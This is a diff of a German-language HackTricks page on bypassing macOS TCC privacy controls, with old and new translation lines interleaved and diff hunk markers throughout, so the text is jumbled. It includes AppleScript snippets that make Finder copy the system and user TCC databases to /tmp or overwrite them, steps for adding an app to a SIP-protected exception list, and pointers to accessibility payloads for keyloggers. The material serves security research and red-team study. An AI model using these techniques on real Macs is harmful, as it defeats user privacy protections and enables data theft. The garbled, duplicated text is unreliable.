Das **Benachrichtigungscenter UI** kann **Änderungen in der System-TCC-Datenbank** vornehmen:
Das **Benachrichtigungscenter-UI** kann **Änderungen in der System-TCC-Datenbank** vornehmen:
{% code overflow="wrap" %}
```bash
@ -127,7 +127,7 @@ Durch Überprüfen beider Datenbanken können Sie die Berechtigungen überprüfe
{% endhint %}
* Der **`service`** ist die TCC **Berechtigungs**-Zeichenfolgenrepräsentation
* Der **`client`** ist die **Bundle-ID** oder der **Pfad zur ausführbaren Datei** mit den Berechtigungen
* Der **`client`** ist die **Bundle-ID** oder der **Pfad zur Binärdatei** mit den Berechtigungen
* Der **`client_type`** gibt an, ob es sich um eine Bundle-Kennung (0) oder einen absoluten Pfad (1) handelt
<details>
@ -196,7 +196,7 @@ echo "X'$REQ_HEX'"
Sie können auch die **bereits erteilten Berechtigungen** für Apps in `Systemeinstellungen --> Sicherheit & Datenschutz --> Datenschutz --> Dateien und Ordner` überprüfen.
{% hint style="success" %}
Benutzer können Regeln mit **`tccutil`** **löschen oder abfragen**.
Benutzer können Regeln **mit `tccutil` löschen oder abfragen**.
{% endhint %}
#### TCC-Berechtigungen zurücksetzen
@ -210,8 +210,6 @@ tccutil reset All
### TCC Signaturüberprüfungen
Die TCC-Datenbank speichert die Bundle-ID der Anwendung, aber sie speichert auch Informationen über die Signatur, um sicherzustellen, dass die App, die um die Erlaubnis bittet, die richtige ist.
{% code overflow="wrap" %}
```bash
# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
@ -231,11 +229,12 @@ Daher können andere Anwendungen mit demselben Namen und derselben Bundle-ID nic
### Berechtigungen & TCC-Berechtigungen
Apps müssen nicht nur um Ressourcen bitten und Zugriff erhalten, sie müssen auch über die entsprechenden Berechtigungen verfügen. Zum Beispiel hat Telegram die Berechtigung `com.apple.security.device.camera`, um Zugriff auf die Kamera anzufordern. Eine App, die diese Berechtigung nicht hat, kann nicht auf die Kamera zugreifen (und der Benutzer wird nicht einmal nach den Berechtigungen gefragt).
Apps müssen nicht nur um Zugriff auf bestimmte Ressourcen bitten und diesen gewährt bekommen, sie müssen auch über die entsprechenden Berechtigungen verfügen.\
Zum Beispiel hat **Telegram** die Berechtigung `com.apple.security.device.camera`, um Zugriff auf die Kamera anzufordern. Eine App, die diese Berechtigung nicht hat, kann nicht auf die Kamera zugreifen (und der Benutzer wird nicht einmal nach den Berechtigungen gefragt).
Apps benötigen jedoch keine spezifischen Berechtigungen, um auf bestimmte Benutzerordner wie `~/Desktop`, `~/Downloads` und `~/Documents` zuzugreifen. Das System wird den Zugriff transparent handhaben und den Benutzer bei Bedarf auffordern.
Die Apps von Apple generieren keine Aufforderungen. Sie enthalten vorab gewährte Rechte in ihrer Berechtigungsliste, was bedeutet, dass sie niemals ein Popup generieren werden und auch nicht in einer der TCC-Datenbanken auftauchen werden. Zum Beispiel:
Die Apps von Apple generieren keine Aufforderungen. Sie enthalten vorab gewährte Rechte in ihrer Liste der Berechtigungen, was bedeutet, dass sie niemals ein Popup generieren werden und auch nicht in einer der TCC-Datenbanken auftauchen werden. Zum Beispiel:
```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
@ -257,7 +256,7 @@ Einige TCC-Berechtigungen sind: kTCCServiceAppleEvents, kTCCServiceCalendar, kTC
### Sensible ungeschützte Orte
* $HOME (selbst)
* $HOME/.ssh, $HOME/.aws, usw.
* $HOME/.ssh, $HOME/.aws usw.
* /tmp
### Benutzerabsicht / com.apple.macl
@ -283,7 +282,7 @@ Es ist interessant, dass das **`com.apple.macl`** Attribut vom **Sandbox** verwa
Beachten Sie auch, dass wenn Sie eine Datei verschieben, die die UUID einer App auf Ihrem Computer erlaubt, auf einen anderen Computer, weil die gleiche App unterschiedliche UIDs haben wird, wird sie keinen Zugriff auf diese App gewähren.
{% endhint %}
Das erweiterte Attribut `com.apple.macl` **kann nicht gelöscht** werden wie andere erweiterte Attribute, da es **durch SIP geschützt ist**. Wie jedoch [**in diesem Beitrag erklärt**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), ist es möglich, es zu deaktivieren, indem man die Datei **zippt**, sie **löscht** und dann **entzippt**.
Das erweiterte Attribut `com.apple.macl` **kann nicht** wie andere erweiterte Attribute gelöscht werden, da es **durch SIP geschützt ist**. Jedoch ist es, wie [**in diesem Beitrag erklärt**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), möglich, es zu deaktivieren, indem man die Datei **zippt**, sie **löscht** und sie dann **entzippt**.
## TCC Privilegierung & Umgehungen
@ -348,11 +347,11 @@ Wenn es Ihnen gelungen ist, Zugriff auf eine App mit bestimmten TCC-Berechtigung
Der TCC-Name der Automatisierungsberechtigung lautet: **`kTCCServiceAppleEvents`**\
Diese spezifische TCC-Berechtigung gibt auch die **Anwendung an, die im TCC-Datenbank verwaltet werden kann** (so dass die Berechtigungen nicht einfach alles verwalten können).
**Finder** ist eine Anwendung, die **immer FDA hat** (auch wenn sie nicht im UI erscheint), daher können Sie, wenn Sie **Automatisierungsrechte** darüber haben, diese Rechte missbrauchen, um **bestimmte Aktionen auszuführen**.\
**Finder** ist eine Anwendung, die **immer FDA hat** (auch wenn sie nicht in der Benutzeroberfläche erscheint), daher können Sie, wenn Sie **Automatisierungsrechte** darüber haben, diese Rechte missbrauchen, um **bestimmte Aktionen auszuführen**.\
In diesem Fall würde Ihre App die Berechtigung **`kTCCServiceAppleEvents`** über **`com.apple.Finder`** benötigen.
{% tabs %}
{% tab title="Benutzer TCC.db stehlen" %}
{% tab title="Benutzer-TCC.db stehlen" %}
```applescript
# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
@ -366,7 +365,7 @@ EOD
```
{% endtab %}
{% tab title="Systeme TCC.db stehlen" %}
{% tab title="System TCC.db stehlen" %}
```applescript
osascript<<EOD
tell application "Finder"
@ -382,17 +381,17 @@ EOD
Sie könnten dies missbrauchen, um **Ihre eigene Benutzer-TCC-Datenbank zu erstellen**.
{% hint style="warning" %}
Mit dieser Berechtigung können Sie **Finder auffordern, auf TCC-gesperrte Ordner zuzugreifen** und Ihnen die Dateien zu geben, aber soweit ich weiß, werden Sie **Finder nicht dazu bringen können, beliebigen Code auszuführen**, um seinen FDA-Zugriff vollständig auszunutzen.
Mit dieser Berechtigung können Sie **Finder auffordern, auf TCC-restriktive Ordner zuzugreifen** und Ihnen die Dateien zu geben, aber soweit ich weiß, werden Sie **nicht in der Lage sein, Finder dazu zu bringen, beliebigen Code auszuführen**, um seinen FDA-Zugriff vollständig auszunutzen.
Daher können Sie die vollen FDA-Fähigkeiten nicht missbrauchen.
Daher werden Sie nicht in der Lage sein, die vollen FDA-Fähigkeiten auszunutzen.
{% endhint %}
Dies ist die TCC-Aufforderung, um Automatisierungsrechte über Finder zu erhalten:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
{% hint style="danger" %}
Beachten Sie, dass die App **Automator** die TCC-Berechtigung **`kTCCServiceAppleEvents`** hat und **jede App** steuern kann, wie z. B. Finder. Daher könnten Sie, wenn Sie die Berechtigung haben, Automator zu steuern, auch den **Finder** mit einem Code wie dem unten stehenden steuern:
Beachten Sie, dass da die **Automator**-App die TCC-Berechtigung **`kTCCServiceAppleEvents`** hat, sie **jede App steuern** kann, wie z.B. Finder. Daher könnten Sie, wenn Sie die Berechtigung haben, Automator zu steuern, auch den **Finder** mit einem Code wie dem unten stehenden steuern:
{% endhint %}
<details>
@ -419,7 +418,7 @@ EOD
```
</details>
Gleiches gilt für die **Script Editor-App,** sie kann den Finder steuern, aber mit einem AppleScript können Sie es nicht zwingen, ein Skript auszuführen.
Gleiches gilt für die **Script Editor-App,** sie kann den Finder steuern, aber mit einem AppleScript können Sie sie nicht zwingen, ein Skript auszuführen.
### Automatisierung (SE) für einige TCC
@ -467,7 +466,7 @@ rm "$HOME/Desktop/file"
```
### Automatisierung (SE) + Barrierefreiheit (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** zu FDA\*
Automatisierung auf **`System Events`** + Barrierefreiheit (**`kTCCServicePostEvent`**) ermöglicht das Senden von Tastenanschlägen an Prozesse. Auf diese Weise könnten Sie Finder missbrauchen, um die TCC.db des Benutzers zu ändern oder FDA an eine beliebige App zu vergeben (obwohl möglicherweise ein Passwort dafür abgefragt wird).
Automatisierung auf **`System Events`** + Barrierefreiheit (**`kTCCServicePostEvent`**) ermöglicht das Senden von **Tastatureingaben an Prozesse**. Auf diese Weise könnten Sie Finder missbrauchen, um die TCC.db des Benutzers zu ändern oder FDA an eine beliebige App zu vergeben (obwohl möglicherweise ein Passwort dafür angefordert wird).
Beispiel für das Überschreiben der TCC.db des Benutzers durch Finder:
```applescript
@ -517,7 +516,7 @@ EOF
```
### `kTCCServiceAccessibility` zu FDA\*
Überprüfen Sie diese Seite für einige [**Payloads zur Ausnutzung der Zugriffsberechtigungen für Barrierefreiheit**](macos-tcc-payloads.md#accessibility), um zu FDA\* zu eskalieren oder beispielsweise einen Keylogger auszuführen.
Überprüfen Sie diese Seite für einige [**Payloads zur Ausnutzung der Zugriffsberechtigungen für Barrierefreiheit**](macos-tcc-payloads.md#accessibility), um z. B. zu FDA\* zu eskalieren oder einen Keylogger auszuführen.
### **Endpoint Security Client zu FDA**
@ -525,38 +524,36 @@ Wenn Sie **`kTCCServiceEndpointSecurityClient`** haben, haben Sie FDA. Ende.
### Systemrichtlinie SysAdmin-Datei zu FDA
**`kTCCServiceSystemPolicySysAdminFiles`** ermöglicht es, das **`NFSHomeDirectory`**-Attribut eines Benutzers zu **ändern**, das sein Benutzerverzeichnis ändert und somit das Umgehen von TCC ermöglicht.
**`kTCCServiceSystemPolicySysAdminFiles`** ermöglicht es, das **`NFSHomeDirectory`**-Attribut eines Benutzers zu **ändern**, das sein Benutzerverzeichnis ändert und somit das **TCC umgeht**.
### Benutzer-TCC-DB zu FDA
Durch Erlangen von **Schreibberechtigungen** über die **Benutzer-TCC-Datenbank können Sie sich keine **`FDA`**-Berechtigungen gewähren, nur diejenigen, die in der Systemdatenbank leben, können das gewähren.
Durch das Erlangen von **Schreibberechtigungen** über die **Benutzer-TCC-Datenbank können Sie sich keine **`FDA`**-Berechtigungen gewähren, nur diejenigen, die in der Systemdatenbank leben, können das gewähren.
Aber Sie können sich **`Automatisierungsrechte für Finder`** geben und die vorherige Technik missbrauchen, um zu FDA\* zu eskalieren.
### **FDA zu TCC-Berechtigungen**
**Voller Festplattenzugriff** heißt in TCC **`kTCCServiceSystemPolicyAllFiles`**
**Vollzugriff auf die Festplatte** heißt in TCC **`kTCCServiceSystemPolicyAllFiles`**
Ich denke nicht, dass dies eine echte Eskalation ist, aber für den Fall, dass Sie es nützlich finden: Wenn Sie ein Programm mit FDA steuern, können Sie die Benutzer-TCC-Datenbank **ändern und sich beliebigen Zugriff gewähren**. Dies kann als Persistenztechnik nützlich sein, falls Sie Ihre FDA-Berechtigungen verlieren könnten.
### **SIP-Umgehung zu TCC-Umgehung**
Die System-TCC-Datenbank ist durch **SIP** geschützt, deshalb können nur Prozesse mit den **angegebenen Berechtigungen** sie ändern. Daher, wenn ein Angreifer eine **SIP-Umgehung** über eine **Datei** findet (eine Datei, die durch SIP eingeschränkt ist, ändern kann), wird er in der Lage sein:
Die System-TCC-Datenbank ist durch **SIP** geschützt, deshalb können nur Prozesse mit den **angegebenen Berechtigungen** sie **ändern**. Daher, wenn ein Angreifer eine **SIP-Umgehung** über eine **Datei** findet (die Möglichkeit, eine von SIP eingeschränkte Datei zu ändern), wird er in der Lage sein:
* Den Schutz einer TCC-Datenbank aufheben und sich alle TCC-Berechtigungen geben. Er könnte beispielsweise eine dieser Dateien missbrauchen:
* Den Schutz einer TCC-Datenbank zu **entfernen** und sich alle TCC-Berechtigungen zu geben. Er könnte z. B. eine dieser Dateien missbrauchen:
* Die TCC-Systemdatenbank
* REG.db
* MDMOverrides.plist
Es gibt jedoch eine andere Möglichkeit, diese **SIP-Umgehung zu nutzen, um TCC zu umgehen**: Die Datei `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` ist eine Liste von Anwendungen, die eine TCC-Ausnahme erfordern. Daher, wenn ein Angreifer den SIP-Schutz von dieser Datei entfernen und seine **eigene Anwendung hinzufügen** kann, wird die Anwendung in der Lage sein, TCC zu umgehen.\
Es gibt jedoch eine weitere Möglichkeit, diese **SIP-Umgehung zur Umgehung von TCC** zu missbrauchen, die Datei `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` ist eine Liste von Anwendungen, die eine TCC-Ausnahme erfordern. Daher, wenn ein Angreifer den SIP-Schutz von dieser Datei **entfernen** und seine **eigene Anwendung hinzufügen** kann, wird die Anwendung in der Lage sein, TCC zu umgehen.\
Zum Beispiel, um Terminal hinzuzufügen:
```bash
# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app
```
AllowApplicationsList.plist:
ErlaubteAnwendungsliste.plist:
`AllowApplicationsList.plist`:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -594,12 +591,12 @@ ErlaubteAnwendungsliste.plist:
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Heldenniveau mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.

Some files were not shown because too many files have changed in this diff Show more